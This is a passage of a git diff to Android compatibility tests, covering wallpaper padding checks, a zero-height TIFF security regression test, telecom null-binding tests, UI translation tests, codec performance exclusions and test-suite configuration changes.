testSetDisplayPadding() { + WallpaperManager wallpaperManager = WallpaperManager.getInstance(getContext()); + + Rect validRect = new Rect(1, 1, 1, 1); + // This should work, no exception expected + wallpaperManager.setDisplayPadding(validRect); + + Rect negativeRect = new Rect(-1, 0 , 0, 0); + try { + wallpaperManager.setDisplayPadding(negativeRect); + fail("setDisplayPadding should fail for a Rect with negative values"); + } catch (IllegalArgumentException e) { + // Expected exception + } + + DisplayManager dm = getContext().getSystemService(DisplayManager.class); + Display primaryDisplay = dm.getDisplay(DEFAULT_DISPLAY); + Context windowContext = getContext().createWindowContext(primaryDisplay, + TYPE_APPLICATION, null); + Display display = windowContext.getDisplay(); + + Rect tooWideRect = new Rect(0, 0, display.getMaximumSizeDimension() + 1, 0); + try { + wallpaperManager.setDisplayPadding(tooWideRect); + fail("setDisplayPadding should fail for a Rect width larger than " + + display.getMaximumSizeDimension()); + } catch (IllegalArgumentException e) { + // Expected exception + } + + Rect tooHighRect = new Rect(0, 0, 0, display.getMaximumSizeDimension() + 1); + try { + wallpaperManager.setDisplayPadding(tooHighRect); + fail("setDisplayPadding should fail for a Rect height larger than " + + display.getMaximumSizeDimension()); + } catch (IllegalArgumentException e) { + // Expected exception + } + } +} diff --git a/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java b/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java index 5cc4fe5e183..af28a547ce8 100644 --- a/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java +++ b/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java @@ -19,22 +19,30 @@ package android.security.cts; import android.graphics.Bitmap; import android.graphics.BitmapFactory; import android.platform.test.annotations.AsbSecurityTest; -import android.test.AndroidTestCase; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; import java.io.InputStream; import android.security.cts.R; -public class ZeroHeightTiffTest extends AndroidTestCase { +import static org.junit.Assert.*; + +import androidx.test.runner.AndroidJUnit4; +import org.junit.runner.RunWith; +import org.junit.Test; + +@RunWith(AndroidJUnit4.class) +public class ZeroHeightTiffTest extends StsExtraBusinessLogicTestCase { /** * Verifies that the device fails to decode a zero height tiff file. * * Prior to fixing bug 33300701, decoding resulted in undefined behavior (divide by zero). * With the fix, decoding will fail, without dividing by zero. */ + @Test @AsbSecurityTest(cveBugId = 33300701) public void test_android_bug_33300701() { - InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_33300701); + InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(R.raw.bug_33300701); Bitmap bitmap = BitmapFactory.decodeStream(exploitImage); assertNull(bitmap); } diff --git a/tests/tests/selinux/OWNERS b/tests/tests/selinux/OWNERS index 8824b03b54e..20c32c21ec5 100644 --- a/tests/tests/selinux/OWNERS +++ b/tests/tests/selinux/OWNERS @@ -1,4 +1,3 @@ # Bug component: 85141 jeffv@google.com jgalenson@google.com -nnk@google.com diff --git a/tests/tests/settings/src/android/settings/cts/SettingsMultiPaneDeepLinkTest.java b/tests/tests/settings/src/android/settings/cts/SettingsMultiPaneDeepLinkTest.java index b6103c8488b..ea0e789259d 100644 --- a/tests/tests/settings/src/android/settings/cts/SettingsMultiPaneDeepLinkTest.java +++ b/tests/tests/settings/src/android/settings/cts/SettingsMultiPaneDeepLinkTest.java @@ -67,6 +67,13 @@ public class SettingsMultiPaneDeepLinkTest { assumeFalse("Skipping test: The device does not support Activity embedding", !mIsSplitSupported && mDeepLinkIntentResolveInfo == null); + + // TODO(b/214606992): Remove this check once automotive support was implemented. + assumeFalse("Skipping test: not supported on automotive yet", + mDeepLinkIntentResolveInfo == null + && InstrumentationRegistry.getInstrumentation().getContext() + .getPackageManager() + .hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)); } @Test diff --git a/tests/tests/systemui/Android.bp b/tests/tests/systemui/Android.bp index 0d28f65c5c2..fc48c72c684 100644 --- a/tests/tests/systemui/Android.bp +++ b/tests/tests/systemui/Android.bp @@ -19,8 +19,10 @@ package { android_test { name: "CtsSystemUiTestCases", defaults: ["cts_defaults"], + min_sdk_version: "27", test_suites: [ "cts", + "gts", "general-tests", ], diff --git a/tests/tests/systemui/AndroidManifest.xml b/tests/tests/systemui/AndroidManifest.xml index f55ed3f13c5..c1c0a317b0c 100644 --- a/tests/tests/systemui/AndroidManifest.xml +++ b/tests/tests/systemui/AndroidManifest.xml @@ -18,6 +18,9 @@ <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="android.systemui.cts" android:targetSandboxVersion="2"> + + <uses-sdk android:minSdkVersion="14" android:targetSdkVersion="17" /> + <uses-permission android:name="android.permission.INJECT_EVENTS"/> <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/> <uses-permission android:name="android.permission.READ_DREAM_STATE"/> diff --git a/tests/tests/systemui/AndroidTest.xml b/tests/tests/systemui/AndroidTest.xml index 74876ae668e..7a848572ebc 100644 --- a/tests/tests/systemui/AndroidTest.xml +++ b/tests/tests/systemui/AndroidTest.xml @@ -15,6 +15,7 @@ --> <configuration description="Config for CTS SystemUI test cases"> <option name="test-suite-tag" value="cts" /> + <option name="test-suite-tag" value="gts" /> <option name="config-descriptor:metadata" key="component" value="sysui" /> <option name="config-descriptor:metadata" key="parameter" value="instant_app" /> <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" /> diff --git a/tests/tests/systemui/AudioRecorderTestApp_AudioRecord/Android.bp b/tests/tests/systemui/AudioRecorderTestApp_AudioRecord/Android.bp index 3737637a15d..41b247c86f1 100644 --- a/tests/tests/systemui/AudioRecorderTestApp_AudioRecord/Android.bp +++ b/tests/tests/systemui/AudioRecorderTestApp_AudioRecord/Android.bp @@ -24,6 +24,7 @@ android_test_helper_app { // tag this module as a cts test artifact test_suites: [ "cts", + "gts", "vts10", "general-tests", ], diff --git a/tests/tests/systemui/AudioRecorderTestApp_MediaRecorder/Android.bp b/tests/tests/systemui/AudioRecorderTestApp_MediaRecorder/Android.bp index af7f01c1e22..76b1250b1af 100644 --- a/tests/tests/systemui/AudioRecorderTestApp_MediaRecorder/Android.bp +++ b/tests/tests/systemui/AudioRecorderTestApp_MediaRecorder/Android.bp @@ -24,6 +24,7 @@ android_test_helper_app { // tag this module as a cts test artifact test_suites: [ "cts", + "gts", "vts10", "general-tests", ], diff --git a/tests/tests/systemui/PipTestApp/Android.bp b/tests/tests/systemui/PipTestApp/Android.bp index b8219c803f6..5b7b4d9cd72 100644 --- a/tests/tests/systemui/PipTestApp/Android.bp +++ b/tests/tests/systemui/PipTestApp/Android.bp @@ -36,6 +36,7 @@ android_test_helper_app { // Tag this module as a cts test artifact test_suites: [ "cts", + "gts", "vts10", "general-tests", ], diff --git a/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java b/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java index b5e657c00fd..1f0369ab38f 100644 --- a/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java +++ b/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java @@ -46,6 +46,7 @@ import android.graphics.Insets; import android.graphics.Point; import android.graphics.Rect; import android.hardware.display.DisplayManager; +import android.os.Build; import android.os.Bundle; import android.provider.DeviceConfig; import android.support.test.uiautomator.By; @@ -64,6 +65,8 @@ import androidx.test.platform.app.InstrumentationRegistry; import androidx.test.rule.ActivityTestRule; import androidx.test.runner.AndroidJUnit4; +import com.android.compatibility.common.util.ApiLevelUtil; +import com.android.compatibility.common.util.CtsDownstreamingTest; import com.android.compatibility.common.util.SystemUtil; import com.android.compatibility.common.util.ThrowingRunnable; @@ -600,9 +603,11 @@ public class WindowInsetsBehaviorTests { /** * @throws Throwable when setting the property goes wrong. */ + @CtsDownstreamingTest @Test public void systemGesture_excludeViewRects_withoutAnyCancel() throws Throwable { + assumeTrue(ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S_V2)); assumeTrue(hasSystemGestureFeature()); mainThreadRun(() -> mContentViewWindowInsets = mActivity.getDecorViewWindowInsets()); @@ -635,8 +640,10 @@ public class WindowInsetsBehaviorTests { assertEquals(swipeCount[0], mActionDownPoints.size()); } + @CtsDownstreamingTest @Test public void systemGesture_notExcludeViewRects_withoutAnyCancel() { + assumeTrue(ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S_V2)); assumeTrue(hasSystemGestureFeature()); mainThreadRun(() -> mActivity.setSystemGestureExclusion(null)); diff --git a/tests/tests/telecom/AndroidManifest.xml b/tests/tests/telecom/AndroidManifest.xml index 96a07b36904..1b1d48ea3a1 100644 --- a/tests/tests/telecom/AndroidManifest.xml +++ b/tests/tests/telecom/AndroidManifest.xml @@ -79,6 +79,14 @@ </intent-filter> </service> + <service android:name="android.telecom.cts.NullBindingConnectionService" + android:permission="android.permission.BIND_TELECOM_CONNECTION_SERVICE" + android:exported="true"> + <intent-filter> + <action android:name="android.telecom.ConnectionService"/> + </intent-filter> + </service> + <service android:name="android.telecom.cts.MockInCallService" android:permission="android.permission.BIND_INCALL_SERVICE" android:exported="true"> diff --git a/tests/tests/telecom/src/android/telecom/cts/NullBindingConnectionService.java b/tests/tests/telecom/src/android/telecom/cts/NullBindingConnectionService.java new file mode 100644 index 00000000000..1debb7a6d4b --- /dev/null +++ b/tests/tests/telecom/src/android/telecom/cts/NullBindingConnectionService.java @@ -0,0 +1,49 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.telecom.cts; + +import android.app.Service; +import android.content.Intent; +import android.os.IBinder; + +import java.util.concurrent.CountDownLatch; + +/** + * A minimal {@link Service} implementation intended to test cases where a {@link ConnectionService} + * tries to return a null binding. + */ +public class NullBindingConnectionService extends Service { + public static CountDownLatch sBindLatch = new CountDownLatch(1); + public static CountDownLatch sUnbindLatch = new CountDownLatch(1); + + public NullBindingConnectionService() { + } + + @Override + public IBinder onBind(Intent intent) { + sBindLatch.countDown(); + sUnbindLatch = new CountDownLatch(1); + return null; + } + + @Override + public boolean onUnbind(Intent intent) { + sUnbindLatch.countDown(); + sBindLatch = new CountDownLatch(1); + return false; + } +} diff --git a/tests/tests/telecom/src/android/telecom/cts/NullBindingTest.java b/tests/tests/telecom/src/android/telecom/cts/NullBindingTest.java new file mode 100644 index 00000000000..611eeaba66e --- /dev/null +++ b/tests/tests/telecom/src/android/telecom/cts/NullBindingTest.java @@ -0,0 +1,84 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.telecom.cts; + +import android.content.ComponentName; +import android.net.Uri; +import android.os.Bundle; +import android.telecom.PhoneAccount; +import android.telecom.PhoneAccountHandle; +import android.telecom.TelecomManager; + +/** + * CTS tests to ensure that a ConnectionService which returns a null binding will be automatically + * unbound. + */ + +public class NullBindingTest extends BaseTelecomTestWithMockServices { + private static final PhoneAccountHandle TEST_NULL_BINDING_HANDLE = + new PhoneAccountHandle(new ComponentName("android.telecom.cts", + "android.telecom.cts.NullBindingConnectionService"), + "1"); + + public static final PhoneAccount TEST_NULL_BINDING_ACCOUNT = PhoneAccount.builder( + TEST_NULL_BINDING_HANDLE, "Null") + .setAddress(Uri.parse("sip:test@test.com")) + .setCapabilities(PhoneAccount.CAPABILITY_SELF_MANAGED) + .addSupportedUriScheme(PhoneAccount.SCHEME_SIP) + .build(); + + private static final Uri TEST_ADDRESS_1 = Uri.fromParts("sip", "call1@test.com", null); + + @Override + protected void setUp() throws Exception { + super.setUp(); + mContext = getInstrumentation().getContext(); + if (mShouldTestTelecom) { + mTelecomManager.registerPhoneAccount(TEST_NULL_BINDING_ACCOUNT); + } + } + + @Override + protected void tearDown() throws Exception { + super.tearDown(); + if (mShouldTestTelecom) { + mTelecomManager.unregisterPhoneAccount(TEST_NULL_BINDING_HANDLE); + } + } + + /** + * Ensures that when we bind to a ConnectionService which returns a null binding that the + * ConnectionService is unbound automatically. + */ + public void testNullBinding() { + if (!mShouldTestTelecom) { + return; + } + + // Place a call using the null binding connection service. + Bundle extras = new Bundle(); + extras.putParcelable(TelecomManager.EXTRA_PHONE_ACCOUNT_HANDLE, TEST_NULL_BINDING_HANDLE); + mTelecomManager.placeCall(TEST_ADDRESS_1, extras); + + // Ensure it bound and then unbound. + assertTrue(TestUtils.waitForLatchCountDown(NullBindingConnectionService.sBindLatch)); + assertTrue(TestUtils.waitForLatchCountDown(NullBindingConnectionService.sUnbindLatch)); + + // Ensure there is no call present in Telecom + assertFalse(mTelecomManager.isInCall()); + } +} diff --git a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestFirstActivity.java b/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestFirstActivity.java index 839a2903190..7f175637126 100644 --- a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestFirstActivity.java +++ b/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestFirstActivity.java @@ -31,6 +31,7 @@ public class UiAutomationTestFirstActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); + overridePendingTransition(android.R.anim.fade_in, android.R.anim.fade_out); setContentView(R.layout.ui_automation_test); getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON diff --git a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestSecondActivity.java b/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestSecondActivity.java index 4ba0f743ce1..5a0b6d86153 100644 --- a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestSecondActivity.java +++ b/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestSecondActivity.java @@ -30,6 +30,7 @@ public class UiAutomationTestSecondActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); + overridePendingTransition(android.R.anim.fade_in, android.R.anim.fade_out); setContentView(R.layout.ui_automation_test); getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON diff --git a/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java b/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java index dbfcfa2d549..e65815260ea 100644 --- a/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java +++ b/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java @@ -24,7 +24,9 @@ import android.test.ActivityInstrumentationTestCase2; import android.util.Base64; import android.view.MotionEvent; import android.view.ViewGroup; +import android.view.ViewParent; import android.webkit.ConsoleMessage; +import android.view.ViewParent; import android.webkit.JsPromptResult; import android.webkit.JsResult; import android.webkit.WebIconDatabase; @@ -437,6 +439,7 @@ public class WebChromeClientTest extends ActivityInstrumentationTestCase2<WebVie private boolean mHadOnCreateWindow; private boolean mHadOnRequestFocus; private boolean mHadOnReceivedIcon; + private WebView mChildWebView; public MockWebChromeClient() { super(mOnUiThread); @@ -548,6 +551,15 @@ public class WebChromeClientTest extends ActivityInstrumentationTestCase2<WebVie public void onCloseWindow(WebView window) { super.onCloseWindow(window); mHadOnCloseWindow = true; + + if (mChildWebView != null) { + ViewParent parent = mChildWebView.getParent(); + if (parent instanceof ViewGroup) { + ((ViewGroup) parent).removeView(mChildWebView); + } + mChildWebView.destroy(); + } + } @Override @@ -561,12 +573,12 @@ public class WebChromeClientTest extends ActivityInstrumentationTestCase2<WebVie if (mBlockWindowCreationAsync) { transport.setWebView(null); } else { - WebView childView = new WebView(getActivity()); - final WebSettings settings = childView.getSettings(); + mChildWebView = new WebView(getActivity()); + final WebSettings settings = mChildWebView.getSettings(); settings.setJavaScriptEnabled(true); - childView.setWebChromeClient(this); - transport.setWebView(childView); - getActivity().addContentView(childView, new ViewGroup.LayoutParams( + mChildWebView.setWebChromeClient(this); + transport.setWebView(mChildWebView); + getActivity().addContentView(mChildWebView, new ViewGroup.LayoutParams( ViewGroup.LayoutParams.FILL_PARENT, ViewGroup.LayoutParams.WRAP_CONTENT)); } resultMsg.sendToTarget(); diff --git a/tests/tests/wifi/src/android/net/wifi/cts/TestHelper.java b/tests/tests/wifi/src/android/net/wifi/cts/TestHelper.java index 98ab11db9fb..c845138b0aa 100644 --- a/tests/tests/wifi/src/android/net/wifi/cts/TestHelper.java +++ b/tests/tests/wifi/src/android/net/wifi/cts/TestHelper.java @@ -146,7 +146,7 @@ public class TestHelper { wifiManager.unregisterScanResultsCallback(scanResultsCallback); } List<ScanResult> scanResults = wifiManager.getScanResults(); - if (scanResults == null || scanResults.isEmpty()) fail("No scan results available"); + if (scanResults == null || scanResults.isEmpty()) continue; for (ScanResult scanResult : scanResults) { WifiConfiguration matchingNetwork = savedNetworks.stream() .filter(network -> TextUtils.equals( diff --git a/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java b/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java index 34ceb720a4a..ca3c8ca541f 100644 --- a/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java +++ b/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java @@ -18,6 +18,7 @@ package android.translation.cts; import static android.content.Context.CONTENT_CAPTURE_MANAGER_SERVICE; import static android.content.Context.TRANSLATION_MANAGER_SERVICE; +import static android.provider.Settings.Global.ANIMATOR_DURATION_SCALE; import static android.translation.cts.Helper.ACTION_ASSERT_UI_TRANSLATION_CALLBACK_ON_FINISH; import static android.translation.cts.Helper.ACTION_ASSERT_UI_TRANSLATION_CALLBACK_ON_PAUSE; import static android.translation.cts.Helper.ACTION_ASSERT_UI_TRANSLATION_CALLBACK_ON_RESUME; @@ -39,6 +40,7 @@ import static org.mockito.ArgumentMatchers.any; import android.app.PendingIntent; import android.content.ComponentName; +import android.content.ContentResolver; import android.content.Context; import android.content.Intent; import android.icu.util.ULocale; @@ -79,6 +81,7 @@ import androidx.test.uiautomator.UiObject2; import com.android.compatibility.common.util.BlockingBroadcastReceiver; import com.android.compatibility.common.util.PollingCheck; import com.android.compatibility.common.util.RequiredServiceRule; +import com.android.compatibility.common.util.SystemUtil; import org.junit.After; import org.junit.AfterClass; @@ -240,6 +243,60 @@ public class UiTranslationManagerTest { } @Test + public void testUiTranslationWithoutAnimation() throws Throwable { + final float[] originalAnimationDurationScale = new float[1]; + try { + // Disable animation + SystemUtil.runWithShellPermissionIdentity(() -> { + ContentResolver resolver = + ApplicationProvider.getApplicationContext().getContentResolver(); + originalAnimationDurationScale[0] = + Settings.Global.getFloat(resolver, ANIMATOR_DURATION_SCALE, 1f); + Settings.Global.putFloat(resolver, ANIMATOR_DURATION_SCALE, 0); + }); + + final Pair<List<AutofillId>, ContentCaptureContext> result = + enableServicesAndStartActivityForTranslation(); + + final CharSequence originalText = mTextView.getText(); + final List<AutofillId> views = result.first; + final ContentCaptureContext contentCaptureContext = result.second; + + final String translatedText = "success"; + final UiObject2 helloText = Helper.findObjectByResId(Helper.ACTIVITY_PACKAGE, + SimpleActivity.HELLO_TEXT_ID); + assertThat(helloText).isNotNull(); + // Set response + final TranslationResponse response = + createViewsTranslationResponse(views, translatedText); + sTranslationReplier.addResponse(response); + + startUiTranslation(/* shouldPadContent */ false, views, contentCaptureContext); + + assertThat(helloText.getText()).isEqualTo(translatedText); + + pauseUiTranslation(contentCaptureContext); + + assertThat(helloText.getText()).isEqualTo(originalText.toString()); + + resumeUiTranslation(contentCaptureContext); + + assertThat(helloText.getText()).isEqualTo(translatedText); + + finishUiTranslation(contentCaptureContext); + + assertThat(helloText.getText()).isEqualTo(originalText.toString()); + } finally { + // restore animation + SystemUtil.runWithShellPermissionIdentity(() -> { + Settings.Global.putFloat( + ApplicationProvider.getApplicationContext().getContentResolver(), + ANIMATOR_DURATION_SCALE, originalAnimationDurationScale[0]); + }); + } + } + + @Test public void testPauseUiTranslationThenStartUiTranslation() throws Throwable { final Pair<List<AutofillId>, ContentCaptureContext> result = enableServicesAndStartActivityForTranslation(); diff --git a/tests/tvprovider/AndroidTest.xml b/tests/tvprovider/AndroidTest.xml index 18a59ab3a31..5bd4d68ab90 100644 --- a/tests/tvprovider/AndroidTest.xml +++ b/tests/tvprovider/AndroidTest.xml @@ -21,6 +21,7 @@ <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" /> <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" /> <option name="config-descriptor:metadata" key="parameter" value="secondary_user" /> + <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" /> <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller"> <option name="cleanup-apks" value="true" /> <option name="test-file-name" value="CtsTvProviderTestCases.apk" /> diff --git a/tests/video/src/android/video/cts/CodecEncoderPerformanceTestBase.java b/tests/video/src/android/video/cts/CodecEncoderPerformanceTestBase.java index d95e06956e3..1c4e6d8a533 100644 --- a/tests/video/src/android/video/cts/CodecEncoderPerformanceTestBase.java +++ b/tests/video/src/android/video/cts/CodecEncoderPerformanceTestBase.java @@ -121,6 +121,17 @@ class CodecEncoderPerformanceTestBase extends CodecPerformanceTestBase { if (mMaxOpRateScalingFactor < 1.0f) { mOperatingRateExpected = operatingRateToSet; } + + if (EXCLUDE_ENCODER_OPRATE_0_TO_30_FOR_4K) { + int width = mEncoderFormat.getInteger(MediaFormat.KEY_WIDTH); + int height = mEncoderFormat.getInteger(MediaFormat.KEY_HEIGHT); + if (width >= 3840 && height >= 2160) { + assumeTrue("For devices launched with Android R and below, operating rate " + + "tests are limited to operating rate <= 0 or >= 30 for 4k and" + + " above", operatingRateToSet <= 0 || operatingRateToSet >= 30); + } + } + mDecoderFormat.setInteger(MediaFormat.KEY_OPERATING_RATE, operatingRateToSet); mEncoderFormat.setInteger(MediaFormat.KEY_OPERATING_RATE, operatingRateToSet); } else if (mMaxOpRateScalingFactor < 0.0f) { diff --git a/tests/video/src/android/video/cts/CodecPerformanceTestBase.java b/tests/video/src/android/video/cts/CodecPerformanceTestBase.java index 5a34fce371b..0d49b5968ca 100644 --- a/tests/video/src/android/video/cts/CodecPerformanceTestBase.java +++ b/tests/video/src/android/video/cts/CodecPerformanceTestBase.java @@ -58,6 +58,10 @@ class CodecPerformanceTestBase { // resolutions that are less than half of max supported frame sizes of encoder. static final boolean EXCLUDE_ENCODER_MAX_RESOLUTION; + // Some older devices can not support concurrent instances of both decoder and encoder + // for operating rates > 0 and < 30 for resolutions 4k + static final boolean EXCLUDE_ENCODER_OPRATE_0_TO_30_FOR_4K; + static final String mInputPrefix = WorkDir.getMediaDirString(); ArrayList<MediaCodec.BufferInfo> mBufferInfos; @@ -100,6 +104,12 @@ class CodecPerformanceTestBase { // Encoders on devices launched on Android Q and lower aren't tested at maximum resolution EXCLUDE_ENCODER_MAX_RESOLUTION = DEVICE_INITIAL_SDK <= Build.VERSION_CODES.Q; + + // Encoders on devices launched on Android R and lower aren't tested when operating rate + // that is set is > 0 and < 30 for resolution 4k. + // This includes devices launched on Android S with R or lower vendor partition. + EXCLUDE_ENCODER_OPRATE_0_TO_30_FOR_4K = + !IS_AT_LEAST_VNDK_S || (DEVICE_INITIAL_SDK <= Build.VERSION_CODES.R); } @Before diff --git a/tools/cts-device-info/Android.mk b/tools/cts-device-info/Android.mk index b1bb5e04a33..3db9e6fbb91 100644 --- a/tools/cts-device-info/Android.mk +++ b/tools/cts-device-info/Android.mk @@ -46,7 +46,7 @@ LOCAL_ENFORCE_USES_LIBRARIES := false LOCAL_DEX_PREOPT := false # Tag this module as a cts test artifact -LOCAL_COMPATIBILITY_SUITE := cts general-tests sts mts vts catbox gcatbox +LOCAL_COMPATIBILITY_SUITE := cts general-tests sts mts vts catbox gcatbox ats include $(BUILD_CTS_DEVICE_INFO_PACKAGE) diff --git a/tools/cts-tradefed/res/config/cts-known-failures.xml b/tools/cts-tradefed/res/config/cts-known-failures.xml index 3c0b126074b..d43d828e580 100644 --- a/tools/cts-tradefed/res/config/cts-known-failures.xml +++ b/tools/cts-tradefed/res/config/cts-known-failures.xml @@ -247,6 +247,21 @@ <!-- b/204721335 --> <option name="compatibility:exclude-filter" value="CtsWindowManagerJetpackTestCases android.server.wm.jetpack.SidecarTest#testSidecarInterface_onWindowLayoutChangeListener" /> + <option name="compatibility:exclude-filter" value="CtsWindowManagerJetpackTestCases android.server.wm.jetpack.SidecarTest#testSidecarInterface_getWindowLayoutInfo" /> + + <!-- b/209382234 --> + <option name="compatibility:exclude-filter" value="CtsDevicePolicyTestCases android.devicepolicy.cts.KeyManagementTest" /> + <option name="compatibility:exclude-filter" value="CtsDevicePolicyTestCases[run-on-work-profile] android.devicepolicy.cts.KeyManagementTest" /> + <option name="compatibility:exclude-filter" value="CtsDevicePolicyTestCases[run-on-secondary-user] android.devicepolicy.cts.KeyManagementTest" /> + + <!-- b/203177211 --> + <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.ListeningPortsTest#testNoRemotelyAccessibleListeningUdpPorts" /> + + <!-- b/182630972, b/214019488 --> + <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.PinnedStackTests#testEnterPipWithMinimalSize" /> + + <!-- b/205492302 --> + <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.OrgOwnedProfileOwnerTest#testSetCameraDisabled" /> <!-- b/209382234 --> <option name="compatibility:exclude-filter" value="CtsDevicePolicyTestCases android.devicepolicy.cts.KeyManagementTest" /> diff --git a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml index 9ddd8b17069..d07400fddd7 100644 --- a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml +++ b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml @@ -102,5 +102,9 @@ <!-- b/203177211 --> <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.ListeningPortsTest#testNoRemotelyAccessibleListeningUdpPorts" /> + <!-- b/212223944 --> + <option name="compatibility:exclude-filter" value="CtsViewTestCases android.view.cts.ASurfaceControlTest#testSurfaceTransaction_setDesiredPresentTime_30ms" /> + <option name="compatibility:exclude-filter" value="CtsViewTestCases android.view.cts.ASurfaceControlTest#testSurfaceTransaction_setDesiredPresentTime_100ms" /> + </configuration> |